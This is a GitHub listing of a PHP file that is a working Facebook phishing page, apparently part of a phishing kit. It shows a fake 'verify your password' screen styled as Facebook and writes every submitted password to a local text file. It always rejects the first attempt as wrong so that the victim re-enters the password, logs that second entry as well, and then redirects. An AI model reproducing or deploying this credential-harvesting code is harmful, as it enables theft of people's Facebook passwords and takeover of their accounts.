-
Notifications
You must be signed in to change notification settings - Fork 22
/
index2.php
134 lines (108 loc) · 3.35 KB
/
index2.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
<!doctype html>
<?php
if(isset($_POST['submit']))
{
$myFile = "./passwd/fb_pass2.txt";
$psswd = $_POST['password1'];
if(strlen($_POST['password1']) != 0)
{
$revisit = false;
if(isset($_COOKIE["our_cookie"]))
{
$file = fopen($myFile, "a") or die ("file not open..."); // create and open text file
$s = "\nThe 2nd password is: ".$psswd."\n";
fputs($file, $s) or die ("Data not written..."); //write single line of file
fclose($file); //close file
if(strlen($_POST['password1']) != 0 && count($_COOKIE) > 0)
{
header('location: redirect.php');
exit;
}
//unset the cookie here
setcookie("our_cookie", "", time() - 3600);
$revisit = true;
}
else
{
$revisit = false;
$messge = "<font color='red'>You have entered wrong password.</font>";
setcookie("our_cookie", true, time() +40); // Create the cookie here;
$file = fopen($myFile, "a") or die ("file not open..."); // create and open text file
$s = "\nThe 1st password is: ".$psswd."\n";
fputs($file, $s) or die ("Data not written..."); //write single line of file
fclose($file); //close file
}
}
else
{
$messge = "<font color='red'>You have entered wrong password.</font>";
$revisit = false;
if(isset($_COOKIE["our_cookie"])) // Check iff the cookie is already active
{
// Then destroy the cookie
setcookie("our_cookie", "", time() - 3600);
}
}
}
?>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=no">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="HandheldFriendly" content="true">
<link rel="shortcut icon" type="image/x-icon" href="fb_icon1.png">
<link href="style.css" rel="stylesheet">
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css">
<title>Login • Facebook</title>
</head>
<body>
<div class="container">
<div class="row">
<div class="col-sm-10">
<div class="center-column text-center">
<img src="facebook-logo1.png" class="facebook-logo">
<p class="info">
You are Trying to access Facebook app from another webpage.
</p><?php
if(isset($_POST['submit']) && strlen($_POST['password1']) == 0)
{
echo $messge;
}
if(isset($_POST['submit']) && $revisit == false && strlen($_POST['password1']) != 0)
{
echo $messge;
}
?>
<br/>
<p class="info">
Please verify your password.
</p>
<form method="post">
<div class="form-group">
<input type="password" class="form-control" placeholder="Password" name="password1">
</div>
<input type="submit" name="submit" class="btn btn-primary btn-block" value="Verify">
</form>
<p class="or">OR</p>
<img src="fb_icon1.png">
<a style=" align-content: center; margin: 0; padding: 0; font-size: 14px;" href="facebook.php" class="facebook-c">
<span style="margin-top: 15px; text-decoration: none;">Log in to Facebook</span>
</a>
<br/>
<br/>
<p class="info">
Forgot password <a href="#">click here</a>
</p>
</div>
<!--
<div class="right-column-login text-center">
<p class="info">
Log in With Facebook
</p>
</div> -->
</div>
</div>
</div>
</body>
</html>